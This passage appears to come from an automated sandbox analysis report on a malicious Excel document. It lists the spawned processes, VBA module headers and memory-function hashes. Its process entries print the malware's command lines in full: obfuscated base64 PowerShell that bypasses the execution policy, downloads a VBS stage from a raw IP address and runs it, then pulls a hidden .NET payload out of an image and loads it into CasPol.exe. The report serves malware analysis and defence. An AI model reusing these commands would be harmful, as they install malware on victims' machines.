MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:56:29
Start date:	12/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES474.tmp" "c:\Users\user\AppData\Local\Temp\40h2inb3\CSC48DBA3EBDCD44EA8BEA847E1C793E7D2.TMP"
Imagebase:	0x13fab0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:56:34
Start date:	12/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"
Imagebase:	0xffdb0000
File size:	168'960 bytes
MD5 hash:	045451FA238A75305CC26AC982472367
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:56:35
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate
Imagebase:	0x13f900000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:56:40
Start date:	12/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13fb90000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:56:40
Start date:	12/12/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE
Wow64 process (32bit):	false
Commandline:	"C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 2156
Imagebase:	0x13f770000
File size:	994'184 bytes
MD5 hash:	1DF27C36590E9AA7555D7123A892338B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:56:40
Start date:	12/12/2024
Path:	C:\Windows\System32\DWWIN.EXE
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dwwin.exe -x -s 2156
Imagebase:	0xffe70000
File size:	152'576 bytes
MD5 hash:	25247E3C4E7A7A73BAEEA6C0008952B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:56:46
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Imagebase:	0x4a9f0000
File size:	345'088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 1216, Parent PID: 2120

General

Target ID:	21
Start time:	15:56:46
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Imagebase:	0x13f900000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: csc.exePID: 1056, Parent PID: 1216

General

Target ID:	22
Start time:	15:56:48
Start date:	12/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.cmdline"
Imagebase:	0x13fef0000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:56:49
Start date:	12/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5216.tmp" "c:\Users\user\AppData\Local\Temp\sajgx3ks\CSC55704BF691DD479D8D12F35E2CEB2B9C.TMP"
Imagebase:	0x13fba0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:56:54
Start date:	12/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"
Imagebase:	0xff3a0000
File size:	168'960 bytes
MD5 hash:	045451FA238A75305CC26AC982472367
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 3344, Parent PID: 1180

General

Target ID:	26
Start time:	15:56:55
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate
Imagebase:	0x13f900000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: CasPol.exePID: 3452, Parent PID: 3968

General

Target ID:	28
Start time:	15:56:59
Start date:	12/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:	0xe30000
File size:	107'704 bytes
MD5 hash:	8AD6D0D81FEC2856B8DCABEE8D678F61
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 3568, Parent PID: 564COMMON

Executed Functions

Function 03690FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.422875516.0000000003690000.00000010.00000800.00020000.00000000.sdmp, Offset: 03690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_3690000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 03690FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.422875516.0000000003690000.00000010.00000800.00020000.00000000.sdmp, Offset: 03690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_3690000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 3696, Parent PID: 3672COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 000007FE899B7018 Relevance: 1.6, APIs: 1, Instructions: 129
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE899B7BF0

Memory Dump Source

Source File: 00000007.00000002.446021288.000007FE899B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe899b0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 53279d696807e4a02216cbf98fc592f6a3063770d2b7352b71f32c760e61458f
Instruction ID: 46c243d09054ab40253488f3e5ce1efcd0ed19cd4b9d56ea58fdf58971caab7f
Opcode Fuzzy Hash: 53279d696807e4a02216cbf98fc592f6a3063770d2b7352b71f32c760e61458f
Instruction Fuzzy Hash: A0319131918A5C9FDB58EF5CD8897B9B7E1FB69321F00822ED04DD3661CB74B8058B81

Function 000007FE89A8566D Relevance: 1.7, Strings: 1, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

V, xrefs: 000007FE89A85744

Memory Dump Source

Source File: 00000007.00000002.446116881.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89a80000_powershell.jbxd

Similarity

API ID:
String ID: V
API String ID: 0-1342839628
Opcode ID: f8151fb7ab98be077d918e0a1681a9416cffa7fbc0067b571824c88dec4b8a58
Instruction ID: 50da4c5a76ca52d651198f530de814a878305772218c79175aa1541d310b1681
Opcode Fuzzy Hash: f8151fb7ab98be077d918e0a1681a9416cffa7fbc0067b571824c88dec4b8a58
Instruction Fuzzy Hash: E3D1033080E7C91FD74797389C146A67FA4EF47260F1911EBD48DDB0A3D619AD1AC3A2

Function 000007FE899B7AE1 Relevance: 1.7, APIs: 1, Instructions: 159
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE899B7BF0

Memory Dump Source

Source File: 00000007.00000002.446021288.000007FE899B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe899b0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: ae4393a902f5319e148d0bcde337201c4c8f8e63c8ab165cf7f2e08e7131d1bb
Instruction ID: 09dbe4eff7c93bd60af26e2bbd03176807ae0be541b8008077dd7616fc7286d9
Opcode Fuzzy Hash: ae4393a902f5319e148d0bcde337201c4c8f8e63c8ab165cf7f2e08e7131d1bb
Instruction Fuzzy Hash: 5441F67181CB989FD715DB589C547AABBF0FB56321F04426FD08DD35A2CB646806CB81

Function 000007FE89A810D3 Relevance: 1.4, Strings: 1, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8hT, xrefs: 000007FE89A81154

Memory Dump Source

Source File: 00000007.00000002.446116881.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89a80000_powershell.jbxd

Similarity

API ID:
String ID: 8hT
API String ID: 0-3237309121
Opcode ID: cd920be11f5afd24f493886bc0452cc079fe09a465c41978f09703e46ae27597
Instruction ID: 2cdc2886c03483c860749ff47bdc1c927a4d4ec7226be85e83d8db805caa2410
Opcode Fuzzy Hash: cd920be11f5afd24f493886bc0452cc079fe09a465c41978f09703e46ae27597
Instruction Fuzzy Hash: 7341C311B0DBC90FE34B937C1854264BFE1EF8B254B2901EBC58EC71A3D9099C5AC361

Function 000007FE89A88549 Relevance: .7, Instructions: 705
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.446116881.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89a80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 608bbe442dcd0da7fcefe184e8d596eaaae98735e8fd63b89884291d1f605434
Instruction ID: 7006f9952f063b057de944c6f0bbc8454699ecd5e8c157d1170c40c00b49cac1
Opcode Fuzzy Hash: 608bbe442dcd0da7fcefe184e8d596eaaae98735e8fd63b89884291d1f605434
Instruction Fuzzy Hash: A622F53090CB894FD799DB2C8450669BFE2FF9A344F2401EED49ED72A3DA24AC56C741

Function 000007FE89A84165 Relevance: .4, Instructions: 437
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.446116881.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89a80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 004a1284814c668f83f87954b06f4395a9116fe8b208a261084241e25aa5d70f
Instruction ID: ac3b82e15d9b395b64f4ddeb0067d26e6d3818c21c5eb2f41184cbf04ea19ac7
Opcode Fuzzy Hash: 004a1284814c668f83f87954b06f4395a9116fe8b208a261084241e25aa5d70f
Instruction Fuzzy Hash: 52C1683090DBCA0FE74AA76C58106BA7FE1EF46744F1501EBD48EDB2A3D618AC56C361

Non-executed Functions

Function 000007FE89A8352E Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.446116881.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89a80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 867eff6c2698375fecd291af8701d8e99f2dae2afeb6d3d42d472d4a05d4def0
Instruction ID: 107a8608e03bf913838459af1fc48f5e9575d28dd9b4aeeebffd58bada803e0e
Opcode Fuzzy Hash: 867eff6c2698375fecd291af8701d8e99f2dae2afeb6d3d42d472d4a05d4def0
Instruction Fuzzy Hash: 43A1262080EBC90FD747A77898246A67FF1EF4B254F1901EBD48DCB1A3D6199D1AC362

Analysis Process: mshta.exePID: 2504, Parent PID: 564COMMON

Executed Functions

Function 02B10FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.465812237.0000000002B10000.00000010.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_2b10000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: b5d79dc445a2ea3836a881e7d65dee896a16e8a4fc648040a2542fed1d6a8b75
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash:

Function 02B10FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.465812237.0000000002B10000.00000010.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_2b10000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: b5d79dc445a2ea3836a881e7d65dee896a16e8a4fc648040a2542fed1d6a8b75
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash:

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

